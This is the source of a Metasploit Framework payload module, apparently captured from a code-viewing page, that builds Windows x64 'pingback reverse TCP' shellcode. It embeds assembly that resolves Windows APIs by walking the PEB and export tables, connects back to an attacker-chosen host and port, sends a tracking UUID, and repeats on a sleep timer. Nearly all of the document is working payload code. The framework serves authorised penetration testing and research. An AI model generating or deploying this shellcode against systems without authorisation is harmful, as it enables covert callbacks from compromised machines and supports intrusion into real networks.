Path: blob/master/modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 42578include Msf::Payload::Windows9include Msf::Payload::Single10include Msf::Payload::Pingback11include Msf::Payload::Pingback::Options12include Msf::Payload::Windows::BlockApi_x6413include Msf::Payload::Windows::Exitfunk_x641415def initialize(info = {})16super(17merge_info(18info,19'Name' => 'Windows x64 Pingback, Reverse TCP Inline',20'Description' => 'Connect back to attacker and report UUID (Windows x64)',21'Author' => [ 'bwatters-r7' ],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X64,25'Handler' => Msf::Handler::ReverseTcp,26'Session' => Msf::Sessions::Pingback27)28)29end3031def required_space32# Start with our cached default generated size33space = cached_size3435# EXITFUNK 'seh' is the worst case, that adds 15 bytes36space += 153738space39end4041def generate(_opts = {})42# 22 -> "0x00,0x16"43# 4444 -> "0x11,0x5c"44encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack('N').first45encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack('V').first46encoded_host_port = format('0x%<encoded_host>.8x%<encoded_port>.8x', { encoded_host: encoded_host, encoded_port: encoded_port })47retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max48pingback_count = datastore['PingbackRetries']49pingback_sleep = datastore['PingbackSleep']50self.pingback_uuid ||= generate_pingback_uuid51uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')52conf = { exitfunk: datastore['EXITFUNC'] }5354asm = %^55cld ; Clear the direction flag.56and rsp, ~0xF ; Ensure RSP is 16 byte aligned57call start ; Call start, this pushes the address of 'api_call' onto the stack.5859api_call:60push r9 ; Save the 4th parameter61push r8 ; Save the 3rd parameter62push rdx ; Save the 2nd parameter63push rcx ; Save the 1st parameter64push rsi ; Save RSI65xor rdx, rdx ; Zero rdx66mov rdx, [gs:rdx+96] ; Get a pointer to the PEB67mov rdx, [rdx+24] ; Get PEB->Ldr68mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list69next_mod: ;70mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)71movzx rcx, word [rdx+74] ; Set rcx to the length we want to check72xor r9, r9 ; Clear r9 which will store the hash of the module name73loop_modname: ;74xor rax, rax ; Clear rax75lodsb ; Read in the next byte of the name76cmp al, 'a' ; Some versions of Windows use lower case module names77jl not_lowercase ;78sub al, 0x20 ; If so normalise to uppercase79not_lowercase: ;80ror r9d, 13 ; Rotate right our hash value81add r9d, eax ; Add the next byte of the name82loop loop_modname ; Loop until we have read enough83; We now have the module hash computed84push rdx ; Save the current position in the module list for later85push r9 ; Save the current module hash for later86; Proceed to iterate the export address table,87mov rdx, [rdx+32] ; Get this modules base address88mov eax, dword [rdx+60] ; Get PE header89add rax, rdx ; Add the modules base address90cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?91; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and92; their may be a PE32 module present in the PEB's module list, (typically the main module).93; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])94jne get_next_mod1 ; if not, proceed to the next module95mov eax, dword [rax+136] ; Get export tables RVA96test rax, rax ; Test if no export address table is present97jz get_next_mod1 ; If no EAT present, process the next module98add rax, rdx ; Add the modules base address99push rax ; Save the current modules EAT100mov ecx, dword [rax+24] ; Get the number of function names101mov r8d, dword [rax+32] ; Get the rva of the function names102add r8, rdx ; Add the modules base address103; Computing the module hash + function hash104get_next_func: ;105jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module106dec rcx ; Decrement the function name counter107mov esi, dword [r8+rcx*4]; Get rva of next module name108add rsi, rdx ; Add the modules base address109xor r9, r9 ; Clear r9 which will store the hash of the function name110; And compare it to the one we want111loop_funcname: ;112xor rax, rax ; Clear rax113lodsb ; Read in the next byte of the ASCII function name114ror r9d, 13 ; Rotate right our hash value115add r9d, eax ; Add the next byte of the name116cmp al, ah ; Compare AL (the next byte from the name) to AH (null)117jne loop_funcname ; If we have not reached the null terminator, continue118add r9, [rsp+8] ; Add the current module hash to the function hash119cmp r9d, r10d ; Compare the hash to the one we are searchnig for120jnz get_next_func ; Go compute the next function hash if we have not found it121; If found, fix up stack, call the function and then value else compute the next one...122pop rax ; Restore the current modules EAT123mov r8d, dword [rax+36] ; Get the ordinal table rva124add r8, rdx ; Add the modules base address125mov cx, [r8+2*rcx] ; Get the desired functions ordinal126mov r8d, dword [rax+28] ; Get the function addresses table rva127add r8, rdx ; Add the modules base address128mov eax, dword [r8+4*rcx]; Get the desired functions RVA129add rax, rdx ; Add the modules base address to get the functions actual VA130; We now fix up the stack and perform the call to the drsired function...131finish:132pop r8 ; Clear off the current modules hash133pop r8 ; Clear off the current position in the module list134pop rsi ; Restore RSI135pop rcx ; Restore the 1st parameter136pop rdx ; Restore the 2nd parameter137pop r8 ; Restore the 3rd parameter138pop r9 ; Restore the 4th parameter139pop r10 ; pop off the return address140sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)141; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).142push r10 ; push back the return address143jmp rax ; Jump into the required function144; We now automagically return to the correct caller...145get_next_mod: ;146pop rax ; Pop off the current (now the previous) modules EAT147get_next_mod1: ;148pop r9 ; Pop off the current (now the previous) modules hash149pop rdx ; Restore our position in the module list150mov rdx, [rdx] ; Get the next module151jmp next_mod ; Process this module152153start:154pop rbp ; block API pointer155156reverse_tcp:157; setup the structures we need on the stack...158mov r14, 'ws2_32'159push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.160mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.161sub rsp, #{408 + 8} ; alloc sizeof( struct WSAData ) bytes for the WSAData162; structure (+8 for alignment)163mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.164mov r12, #{encoded_host_port}165push r12 ; host, family AF_INET and port166mov r12, rsp ; save pointer to sockaddr struct for connect call167168; perform the call to LoadLibraryA...169mov rcx, r14 ; set the param for the library to load170mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}171call rbp ; LoadLibraryA( "ws2_32" )172173; perform the call to WSAStartup...174mov rdx, r13 ; second param is a pointer to this struct175push 0x0101 ;176pop rcx ; set the param for the version requested177mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}178call rbp ; WSAStartup( 0x0101, &WSAData );179180; stick the retry count on the stack and store it181push #{retry_count} ; retry counter182pop r14183push #{pingback_count}184pop r15185186create_socket:187; perform the call to WSASocketA...188push rax ; if we succeed, rax will be zero, push zero for the flags param.189push rax ; push null for reserved parameter190xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure191xor r8, r8 ; we do not specify a protocol192inc rax ;193mov rdx, rax ; push SOCK_STREAM194inc rax ;195mov rcx, rax ; push AF_INET196mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}197call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );198mov rdi, rax ; save the socket for later199200try_connect:201; perform the call to connect...202push 16 ; length of the sockaddr struct203pop r8 ; pop off the third param204mov rdx, r12 ; set second param to pointer to sockaddr struct205mov rcx, rdi ; the socket206mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}207call rbp ; connect( s, &sockaddr, 16 );208209test eax, eax ; non-zero means failure210jz connected211212handle_connect_failure:213dec r14 ; decrement the retry count214jnz try_connect215dec r15216jmp close_socket217218failure:219call exitfunk220221; this label is required so that reconnect attempts include222; the UUID stuff if required.223connected:224225send_pingback:226xor r9, r9 ; flags227push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID228pop r8229call get_pingback_address ; put uuid buffer on the stack230db #{uuid_as_db} ; PINGBACK_UUID231232get_pingback_address:233pop rdx ; PINGBACK UUID address234mov rcx, rdi ; Socket handle235mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}236call rbp ; call send237238close_socket:239mov rcx, rdi ; Socket handle240mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}241call rbp ; call closesocket242^243if pingback_count > 0244asm << %^245sleep:246test r15, r15 ; check pingback retry counter247jz exitfunk ; bail if we are at 0248dec r15 ;decrement the pingback retry counter249push #{pingback_sleep * 1000} ; 10 seconds250pop rcx ; set the sleep function parameter251mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}252call rbp ; Sleep()253jmp create_socket ; repeat callback254^255end256if conf[:exitfunk]257asm << asm_exitfunk(conf)258end259Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string260end261end262263264